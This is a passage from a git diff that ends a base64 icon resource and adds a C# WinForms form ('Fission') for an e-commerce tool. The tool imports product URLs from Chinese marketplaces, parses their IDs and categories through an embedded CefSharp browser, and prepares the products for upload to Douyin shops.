AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/Fission.cs b/TEMUKJD/KJDForms/UploadForms/Fission.cs new file mode 100644 index 0000000..163c0ce --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/Fission.cs @@ -0,0 +1,2967 @@ +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Windows.Forms; +using CefSharp; +using CefSharp.WinForms; +using System.IO; +using AllBase; +using System.Text.RegularExpressions; +using System.Collections.Generic; +using System.Threading.Tasks; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System.Linq; +using DevComponents.DotNetBar; +using System.Text; +using AllBase.Helper; +using NaiBa.Util.Extension; +using Work.CollectClass; +using LittleRabbit.LittleRabbitForms.BaseForms; +using AllBase.Model.Param.FissionManage; +using Work; +using Work.Api; +using System.Threading; +using LittleRabbit.LittleRabbitForms.ToolForms; +using LittleRabbit.LittleRabbitForms.ToolForms.JDVerify; +using NaiBa.Util; +using Work.DouyinApiClass; +using Work.BLL.Upload; +using NaiBa.CefHelper; +using AllBase.Model.Param.ProductManage; +using LittleRabbit.LittleRabbitForms.UploadForms.FissionUserControl; +using AllBase.Model.Result; +using NaiBa.CefHelper.Handler; +using LittleRabbit.LittleRabbitForms.ToolForms.KeywordsForms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class Fission : LRBaseForm + { + public ChromiumWebBrowser browser; + private static string sFissionPage = Directory.GetCurrentDirectory() + @"\page.html"; + private string _url; + private string _urlListStr; + private string _fullCate; + private string _teamGroup; + private string _fissionTitle; + public List _lstDataBaseProductFissData; + ProductCollectBase detailDataPcb = new ProductCollectBase(); + public static List goodsCategoryList = new List(); + public static Dictionary dicNameCate = new Dictionary(); + private decimal RandAddPriceBegin = 1.3M; + private decimal BaseAddPrice = 10M; + /// + /// 折扣比例 + /// + private decimal discount; + private string path = "temp/FissionBackup.txt"; + private List _listUrlTemp = new List(); // 临时队列 存放url 留备份到txt使用 + private readonly object ob = new object(); // 锁文件 + private static Fission instance; + public string fullCatStrings = ""; + public static List sCustomPropList = new List(); + public static List sQulityFileList = new List(); + /// + /// 食品饮料一级类目:粮油米面/南北干货/调味品 零食/坚果/特产 咖啡/麦片/冲饮 茶 酒类 保健食品/膳食营养补充食品 传统滋补营养品 传统滋补营养品 食品卡券 + /// + public static string[] foodCate1Names = new string[] { "粮油米面/南北干货/调味品", "零食/坚果/特产", "咖啡/麦片/冲饮", "茶", + "酒类", "保健食品/膳食营养补充食品", "传统滋补营养品", "食品卡券"}; + public int currentRowIndex = 0; + + public static Fission GetInstance() + { + return instance; + } + + internal static List GoodsCategories + { + get + { + //if (goodsCategoryList.Count == 0) + // goodsCategoryList = GetShopGoodsCategories(); + + return goodsCategoryList; + } + } + + public Fission(string sUrl, string urlListStr, List dataBaseProductFissDataList = null, ProductCollectBase data = null, + string teamGroup = "", string fullCate = "", string fissionTitle = "", string sKeywords = "", string sVoicewords = "") + { + InitializeComponent(); + + instance = this; + this.splitPage.Panel2Collapsed = true; + + pnlMsg.Text = ""; + this.detailDataPcb = data; + this._url = sUrl; + this._urlListStr = urlListStr; + this._fissionTitle = fissionTitle; + this._teamGroup = teamGroup; + this._fullCate = fullCate; + this._lstDataBaseProductFissData = dataBaseProductFissDataList; + } + + private void Fission_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + { + Iconx = BaseClass.Ico; + Icon = BaseClass.Ico; + } + + CleanDataForm.LstFissionForm.Add(this); + + this.lklbResetShop_LinkClicked(null, null); + + var tempPcb = GetDataBaseProductPcb(detailDataPcb); + if (tempPcb != null) + { + detailDataPcb = tempPcb; + this.pnlShowOriginal.Visible = true; + } + if (detailDataPcb == null) + return; + + if (!string.IsNullOrEmpty(_fissionTitle)) + txtTitle.Text = _fissionTitle.Replace(";", "\r\n"); + if (!string.IsNullOrEmpty(_fullCate)) + lblCategory.Text = _fullCate; + + // 获取商品的店铺标记/分组 + GetTeamGroupContent(_teamGroup); + // 初始化净化数据网页及页面内容 + InitFissionData(detailDataPcb); + + GetMeiTuPath(); + ReloadShop(); + + if (BaseClass.IsCloudBuyOrder) + btnCatchWords.Visible = true; + } + + /// + /// 初始化净化数据网页及页面内容 + /// + /// + /// + /// + private void InitFissionData(ProductCollectBase data) + { + try + { + this.MaximumSize = new Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height); + + if (!string.IsNullOrEmpty(_url)) + { + InitBrowser(); + } + else + { + return; + } + + if (!string.IsNullOrEmpty(_urlListStr)) + { + InitWinForm(data); + } + + this.WindowState = FormWindowState.Minimized; + } + catch (Exception ex) + { + BaseMsgForm.ShowInfo("未正确获取商品信息!(请确认商品ID是否正确以及网络)"); + } + } + + private void InitWinForm(ProductCollectBase data = null) + { + _listUrlTemp.Clear(); + string[] urlList = _urlListStr.Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries); + int i = 1; + urlList = urlList.Distinct().ToArray(); // 去重 add by tl 20190610 + foreach (string str in urlList) + { + string productUrl = FilterURL(str); // 商品url + string proName = ""; + if (str.Contains("-----")) + { + proName = str.Substring(0, str.IndexOf("-----")); + } + if (!_listUrlTemp.Contains(productUrl)) + { + i++; + _listUrlTemp.Add(productUrl); + + var from_id = GetIdFromURLByRegex(productUrl); + var finalFissionData = _lstDataBaseProductFissData?.FirstOrDefault(f => f.fession_id == from_id.ToString()); + + dataGridView1.Rows.Add( + i, + finalFissionData == null ? 0 : finalFissionData?.id, + productUrl, + proName, + "待处理", + "移除", + finalFissionData == null ? "" : "从数据库删除"); + } + } + + // 保存到临时文件 + using (StreamWriter st = new StreamWriter(new FileStream(path, FileMode.Create))) + { + foreach (string str in _listUrlTemp) + { + st.WriteLine(str.Trim('\r', '\n')); + } + } + + if (data != null) + { + InitGoodsDetail(data); + } + + // 检查数据库是否已有此商品 + GetIsExistProduct(); + } + + public delegate void DelFormLoaded(); + private delegate void DelChangeWindowState(); + public delegate void DelCloseEvent(); + public DelCloseEvent CloseEvent { get; set; } + public DelFormLoaded FormLoadedEvent { get; set; } + FissionBrowserObject fissionBrowserObject = new FissionBrowserObject(); + + private void InitBrowser() + { + this.updateBtn.Enabled = false; + this.addToDBBtn.Enabled = false; + //CefSettings settings = new CefSettings(); + //settings.Locale = "zh-CN"; + // Initialize cef with the provided settings + //Cef.Initialize(settings); + if (browser == null) + { + browser = new ChromiumWebBrowser(_url) { Dock = DockStyle.Fill, KeyboardHandler = new KeyboardHandler() }; + fissionBrowserObject = new FissionBrowserObject(); + fissionBrowserObject.InformationReceived += fissionBrowserObject_InfomationReceived; + // 注册C#类为JS对象(FissionBrowserObject.cs)类 + //browser.RegisterJsObject("cefBrowser", fissionBrowserObject, new CefSharp.BindingOptions { CamelCaseJavascriptNames = false }); + CefSharpSettings.LegacyJavascriptBindingEnabled = true; + CefSharpSettings.WcfEnabled = true; + browser.JavascriptObjectRepository.Register("cefBrowser", fissionBrowserObject, isAsync: false, options: new BindingOptions { CamelCaseJavascriptNames = false }); + browser.FrameLoadEnd += Browser_FrameLoadEnd; + browser.SizeChanged += Browser_SizeChanged; + this.panel1.Controls.Add(browser); + } + else + { + browser.Load(_url); + } + } + + private void Browser_SizeChanged(object sender, EventArgs e) + { + Task.Run(() => + { + while (!browser.IsBrowserInitialized || browser.IsLoading) + { + Thread.Sleep(100); + } + Thread.Sleep(10); + var jsCode = @"initDragHtml();"; + browser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + }); + } + + private void Browser_IsBrowserInitializedChanged(object sender, EventArgs e) + { + //当网页加载完毕之后,将上传按钮置为可用。 + Action act = delegate + { + if (!string.IsNullOrEmpty(this.lblCategory.Text)) + { + this.updateBtn.Enabled = true; + this.addToDBBtn.Enabled = true; + } + }; + this.Invoke(act); + } + + private void Browser_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + FormLoadedEvent?.Invoke(); + ChangeWindowState(); + + // 当网页加载完毕之后,将上传按钮置为可用。 + Action act = delegate + { + if (!string.IsNullOrEmpty(this.lblCategory.Text)) + { + this.updateBtn.Enabled = true; + this.addToDBBtn.Enabled = true; + } + }; + this.Invoke(act); + } + + private void ChangeWindowState() + { + if (this.Created) + { + if (this.WindowState == FormWindowState.Minimized) + { + if (this.InvokeRequired) + { + DelChangeWindowState delChangeWindowState = ChangeWindowState; + this.Invoke(delChangeWindowState); + } + else + { + WindowState = FormWindowState.Maximized; + } + } + } + } + + public override void PictureBox1_Click(object sender, EventArgs e) + { + if (File.Exists(sFissionPage)) + { + File.Delete(sFissionPage); + } + + if (CloseEvent != null) + { + CloseEvent.Invoke(); + } + base.PictureBox1_Click(sender, e); + } + private void pictureBox1_Click(object sender, EventArgs e) + { + if (File.Exists(sFissionPage)) + { + File.Delete(sFissionPage); + } + + if (CloseEvent != null) + { + CloseEvent.Invoke(); + } + this.Close(); + } + + #region 窗体移动 + //定义无边框窗体Form  + [DllImport("user32.dll")]//*********************拖动无窗体的控件  + + public static extern bool ReleaseCapture(); + + [DllImport("user32.dll")] + + public static extern bool SendMessage(IntPtr hwnd, int wMsg, int wParam, int lParam); + + public const int WM_SYSCOMMAND = 0x0112; + + public const int SC_MOVE = 0xF010; + + public const int HTCAPTION = 0x0002; + + private void panel2_MouseDown(object sender, MouseEventArgs e) + { + //MoveForm(this, this.panel2); + } + private void MoveForm(Form form, Panel panel) + { + ReleaseCapture(); + SendMessage(form.Handle, WM_SYSCOMMAND, SC_MOVE + HTCAPTION, 0);//*********************调用移动无窗体控件函数 + } + #endregion + private void importFileBtn_Click(object sender, EventArgs e) + { + BaseMsgForm.ShowInfo("格式1:商品地址\r\n" + + "格式2:关键词-----商品地址\r\n", "导入格式"); + + OpenFileDialog openFileDialog = new OpenFileDialog(); + openFileDialog.Filter = "文本文件(*.txt)|*.txt"; + openFileDialog.RestoreDirectory = true; + openFileDialog.FilterIndex = 1; + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + _listUrlTemp.Clear(); + string fName = openFileDialog.FileName; + string line = string.Empty; + string productUrl = string.Empty; + // 追加保存到临时文件 + using (StreamWriter st = new StreamWriter(new FileStream(path, FileMode.Create))) + { + using (StreamReader sr = new StreamReader(openFileDialog.FileName, System.Text.Encoding.Default)) + { + dataGridView1.Rows.Clear(); + int i = 1; + while ((line = sr.ReadLine()) != null) + { + importURLtextBox.Text = openFileDialog.FileName; + productUrl = FilterURL(line); + string proName = ""; + if (line.Contains("-----")) + { + proName = line.Substring(0, line.IndexOf("-----")); + } + + if (!_listUrlTemp.Contains(productUrl)) + { + i++; + _listUrlTemp.Add(productUrl); // 新添加的文件 需要给集合重新赋值 + + dataGridView1.Rows.Add( + i, + 0, + productUrl, + proName, + "待处理", + "移除", + ""); + + st.Write(productUrl + "\r\n"); + } + } + } + } + + + } + } + private void splitContainer2_Panel2_Paint(object sender, PaintEventArgs e) + { + + } + private long GetIdFromURLByRegex(string url) + { + try + { + if (url.Contains(@"yangkeduo.com")) + { + Regex pddurl = new Regex(@"[?&]goods_id=([^&#]+)"); + string id = pddurl.Match(url).ToString(); + //Regex idRegex = new Regex(@"[^0-9]+"); + string Num = Regex.Replace(id, @"[^0-9]+", ""); + return long.Parse(Num); + } + + if (url.Contains(@"1688.com")) + { + string str = url.Substring(0, url.IndexOf(".html")).Replace(@"1688.com", ""); + string num = Regex.Replace(str, @"[^0-9]+", ""); + return long.Parse(num); + } + + if (url.Contains("jd.com")) + { + //https://item.jd.com/69126349289.html + string str = url.Substring(url.IndexOf("jd.com/")).Replace(".html", ""); + string num = Regex.Replace(str, @"[^0-9]+", ""); + return long.Parse(num); + } + Regex urlRegex = new Regex(@"[?&]id=([^&#]+)"); + string idStr = urlRegex.Match(url).ToString(); + //Regex idRegex = new Regex(@"[^0-9]+"); + string idNum = Regex.Replace(idStr, @"[^0-9]+", ""); + return long.Parse(idNum); + } + catch (Exception ex) + { + return 0; + } + + } + + private string FilterURL(string url) + { + if (url.Contains("1688.com")) + { + string str = url.Substring(0, url.IndexOf("html") + 4); + return str; + } + if (url.Contains(@"yangkeduo.com")) + { + Regex pddurl = new Regex(@"[?&]goods_id=([^&#]+)"); + string id = pddurl.Match(url).ToString(); + string Num = Regex.Replace(id, @"[^0-9]+", ""); + if (url.Contains(@"mobile.angkeduo.com")) + { + return "http://mobile.yangkeduo.com/goods.html?goods_id=" + Num; + } + else + { + return "http://yangkeduo.com/goods.html?goods_id=" + Num; + } + } + if (url.Contains("jd.com")) + { + string str = url.Substring(url.IndexOf("jd.com/")).Replace(".html", ""); + string num = Regex.Replace(str, @"[^0-9]+", ""); + return "https://item.jd.com/" + num + ".html"; + } + Regex urlRegex = new Regex(@"(https?:\/\/)([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?"); + string idStr = urlRegex.Match(url).ToString(); + string finalUrl = idStr + "?id=" + GetIdFromURLByRegex(url); + return finalUrl; + } + + /// + /// 初始化商品详情信息(不包含图片)并显示 + /// + /// + private void InitGoodsDetail(ProductCollectBase data) + { + fullCatStrings = ""; + GoodsCategoryModel cat = null; + // 抖音商品或者产品数据库商品不再获取所有类目推荐列表 + if (data.isFission || data.from == "抖音") + { + if (Fission.goodsCategoryList.Count == 0) + Fission.goodsCategoryList = JsonHelper.DeserializeJsonToList(DyCategoryParam.DyCategorys); + + cat = Fission.goodsCategoryList.FirstOrDefault(c => c.id == data.cat_id); + if (cat != null) + { + // {"id":21621,"name":"电吹风","parent_cid":20099,"level":2,"enable":true,"first_cid":20099,"second_cid":21621,"third_cid":0,"fourth_cid":0,"first_name":"个人保健/护理电器","second_name":"电吹风","third_name":"","fourth_name":"","is_leaf":true,"highlight_levels":[],"extra_info":null,"industry_status":0} + fullCatStrings = "[{\"id\":" + cat.id + ",\"name\":\"" + cat.name + "\"," + + "\"parent_cid\":" + cat.parent_id + ",\"level\":" + cat.level + ",\"enable\":" + cat.enable.ToString().ToLower() + ","; + List cl = new List(); + cl.Add(cat); + var catEx = Fission.goodsCategoryList.FirstOrDefault(c => c.id == cat.id); + var pCat = Fission.goodsCategoryList.FirstOrDefault(c => c.id == cat.parent_id); + while (pCat != null && pCat.id != 0) + { + cl.Insert(0, pCat); + pCat = Fission.goodsCategoryList.FirstOrDefault(c => c.id == pCat.parent_id); + } + while (cl.Count < 4) + { + cl.Add(new GoodsCategoryModelEx()); + } + fullCatStrings += "\"first_cid\":" + cl[0].id + ",\"second_cid\":" + cl[1].id + ",\"third_cid\":" + cl[2].id + ",\"fourth_cid\":" + cl[3].id + "," + + "\"first_name\":\"" + cl[0].name + "\",\"second_name\":\"" + cl[1].name + "\",\"third_name\":\"" + cl[2].name + "\",\"fourth_name\":\"" + cl[3].name + "\","; + fullCatStrings += "\"is_leaf\":" + cat.is_leaf.ToString().ToLower() + ",\"highlight_levels\":[],\"extra_info\":null," + + "\"industry_status\":" + catEx.industry_status + "}]"; + } + } + if (cat == null) + cat = GetCategoryInfo(data, out fullCatStrings, false); + + #region 将原有的类目置0 + data.main_cid = 0; + data.cat_id = 0; + data.cat1 = 0; + data.cat2 = 0; + data.cat3 = 0; + data.cat4 = 0; + if (InvokeRequired) + { + Invoke(new Action(() => + { + pnlShowCategoryList.Visible = false; + })); + } + else + pnlShowCategoryList.Visible = false; + #endregion + + data.cat_id = cat.id; + List catList = GetParentCatList(data.cat_id); + if (catList.Count > 0) + { + if (string.IsNullOrEmpty(lblCategory.Text) || lblCategory.Text == "fenlei") + lblCategory.Text = GetFullCatString(cat.id); + data.cat1 = catList[0]; + data.main_cid = catList[0]; + } + if (catList.Count > 1) + data.cat2 = catList[1]; + if (catList.Count > 2) + data.cat3 = catList[2]; + if (catList.Count > 3) + data.cat4 = catList[3]; + if (!string.IsNullOrEmpty(fullCatStrings)) + { + JArray jArr = JArray.Parse(fullCatStrings); + if (jArr != null && jArr.Count > 0) + { + if (InvokeRequired) + Invoke(new Action(() => + { + pnlShowCategoryList.Visible = true; + })); + else + pnlShowCategoryList.Visible = true; + + if (string.IsNullOrEmpty(lblCategory.Text)) + { + var fullCatString = JsonHelper.SerializeObject(jArr[0]); + + data.cat1 = data.main_cid = BaseRegex.GetIntJson(ref fullCatString, "first_cid"); + data.cat2 = BaseRegex.GetIntJson(ref fullCatString, "second_cid"); + data.cat3 = BaseRegex.GetIntJson(ref fullCatString, "third_cid"); + data.cat4 = BaseRegex.GetIntJson(ref fullCatString, "fourth_cid"); + lblCategory.Text = (BaseRegex.GetStringJson(ref fullCatString, "first_name") + ">>" + + BaseRegex.GetStringJson(ref fullCatString, "second_name") + ">>" + + BaseRegex.GetStringJson(ref fullCatString, "third_name") + ">>" + + BaseRegex.GetStringJson(ref fullCatString, "fourth_name")).Trim('>')/*.Replace("\\t", " ")*/; + } + } + } + + // 来源标题(拼多多新采集商品为data.name) + SourceTitlelabel.Text = data.from_title; + if (string.IsNullOrEmpty(SourceTitlelabel.Text) && data.from_url.Contains("yangkeduo.com")) + SourceTitlelabel.Text = data.name; + // 上货使用的标题 + if (string.IsNullOrEmpty(txtTitle.Text)) + SourceTitlelabel.Text = data.name; + if (string.IsNullOrEmpty(txtTitle.Text)) + txtTitle.Text = SourceTitlelabel.Text.Replace(";", "\r\n"); + + priceLabel.Text = data.price.ToString(); + + if (data.from_url.Contains("taobao.com") || data.from_url.Contains("tmall.com") || data.from_url.Contains("tmall.hk")) + sourceLabel.Text = "淘宝"; + else if (data.from_url.Contains("1688.com")) + sourceLabel.Text = "1688"; + else if (data.from_url.Contains("yangkeduo.com")) + sourceLabel.Text = "拼多多"; + else if (data.from_url.Contains("jd.com")) + sourceLabel.Text = "京喜"; + else if (data.from_url.Contains("jinritemai.com")) + sourceLabel.Text = "抖音"; + + importURLtextBox.Text = data.from_url; + lblFromUrl.Text = data.from_url; + freePostLabel.Text = data.express_price == 0 ? "包邮" : "不包邮"; + } + + /// + /// 获取分类信息(通过标题搜索商品分类) + /// + /// + /// + /// + private GoodsCategoryModel GetCategoryInfo(ProductCollectBase data, out string fullCatStrings, bool isMainName = true) + { + fullCatStrings = ""; + var errMsg = ""; + int catid = 0; + int parent_id = 0; + int main_cat_id = 0; + bool is_leaf = true; + bool enable = true; + int level = 0; + string name = "其他"; + + DouShopLoginInfo dyShop = null; + var item = this.cmbGetCatShop.SelectedItem as ComboBoxItem; + if (item != null && item.Name != "随机选择") + { + dyShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == item.Name); + if (dyShop != null) + { + catid = (int)UploadProductBLL.GetCat(data.name, out errMsg, out fullCatStrings, dyShop); + if (errMsg.Contains("店铺未登录")) + { + lblCategory.Text = "请登录店铺!"; + BaseMsgForm.ShowError("店铺掉线,请重新登录或更换店铺!"); + } + } + else + BaseMsgForm.ShowError("店铺不存在,请重新选择!"); + } + else + { + dyShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.LoginStatus == "登录成功"); + if (dyShop == null) + lblCategory.Text = "请登录店铺!"; + while (dyShop != null && catid == 0) + { + catid = (int)UploadProductBLL.GetCat(data.name, out errMsg, out fullCatStrings, dyShop); + if (string.IsNullOrEmpty(data.name) && catid == 0) + break; + if (dyShop.LoginStatus == "未登录") + { + StartUp.SaveDouShopLoginInfo(); + dyShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.LoginStatus == "登录成功"); + Thread.Sleep(100); + } + } + } + + GoodsCategoryModel cat = GoodsCategories.Find(x => x.id == catid); + //if (cat == null && catid != 0) + //{ + // //cat_dy.json库中没有找到该类目,记录下来,后面逐步补充该文件 + // //记录类目ID到 文件temp\unrecognized_category.txt + // RecordCategory(catid); + //} + if (isMainName) + cat = GoodsCategories.Find(x => x.id == cat?.main_cat_id); + + if (cat == null) + { + if (!string.IsNullOrEmpty(fullCatStrings)) + { + JArray jArr = JArray.Parse(fullCatStrings); + if (jArr != null && jArr.Count > 0) + { + var fullCatString = JsonHelper.SerializeObject(jArr[0]); + + catid = BaseRegex.GetIntJson(ref fullCatString, "id"); + main_cat_id = BaseRegex.GetIntJson(ref fullCatString, "first_cid"); + name = BaseRegex.GetStringJson(ref fullCatString, "name"); + parent_id = BaseRegex.GetIntJson(ref fullCatString, "parent_cid"); + is_leaf = BaseRegex.GetBoolJson(ref fullCatString, "is_leaf"); + enable = BaseRegex.GetBoolJson(ref fullCatString, "enable"); + level = BaseRegex.GetIntJson(ref fullCatString, "level"); + if (isMainName) + { + catid = BaseRegex.GetIntJson(ref fullCatString, "first_cid"); + main_cat_id = 0; + name = BaseRegex.GetStringJson(ref fullCatString, "first_name"); + parent_id = 0; + is_leaf = false; + enable = BaseRegex.GetBoolJson(ref fullCatString, "enable"); + level = 1; + } + } + } + + cat = new GoodsCategoryModel() + { + id = catid, + main_cat_id = main_cat_id, + name = name, + parent_id = parent_id, + is_leaf = is_leaf, + level = level, + enable = enable + }; + } + return cat; + } + + /// + /// 净化数据执行切换 + /// + /// 上一条 + private void ExecuteProductPrevOrAfter(bool bPrev) + { + this.updateBtn.Enabled = false; + this.addToDBBtn.Enabled = false; + + int selectedIndex = 0; + int selectedRow = 0; + //dataGridView1.CurrentRow.Selected = false; + if (bPrev) + { + for (int i = 0; i < dataGridView1.SelectedRows.Count; i++) + { + if (dataGridView1.SelectedRows[i].Index < selectedIndex || selectedIndex == 0) + { + selectedIndex = dataGridView1.SelectedRows[i].Index; + } + dataGridView1.SelectedRows[i].Selected = false; + } + if (0 == selectedIndex) + { + BaseMsgForm.ShowInfo("当前为第一条!", "提示"); + return; + } + dataGridView1.Rows[selectedIndex - 1].Selected = true; + selectedRow = selectedIndex - 1; + } + else + { + for (int i = 0; i < dataGridView1.SelectedRows.Count; i++) + { + if (dataGridView1.SelectedRows[i].Index > selectedIndex) + { + selectedIndex = dataGridView1.SelectedRows[i].Index; + } + dataGridView1.SelectedRows[i].Selected = false; + } + if (dataGridView1.RowCount <= selectedIndex + 1) + { + BaseMsgForm.ShowInfo("当前为最后一条!", "提示"); + return; + } + dataGridView1.Rows[selectedIndex + 1].Selected = true; + selectedRow = selectedIndex + 1; + + } + + dataGridView1.CurrentCell = this.dataGridView1.Rows[selectedRow].Cells[0]; + CollectProductInfoAndShowBrowser(selectedRow); + } + private void NextURLBtn_Click(object sender, EventArgs e) + { + ExecuteProductPrevOrAfter(false); + } + private void LastURLBtn_Click(object sender, EventArgs e) + { + ExecuteProductPrevOrAfter(true); + } + private void randAddPercentTextBoxX_TextChanged(object sender, EventArgs e) + { + decimal i; + if (CheckInt(randAddPercentTextBoxX, out i)) + RandAddPriceBegin = i; + } + private void baseAddPriceTextBoxX_TextChanged(object sender, EventArgs e) + { + decimal i; + if (CheckInt(baseAddPriceTextBoxX, out i)) + 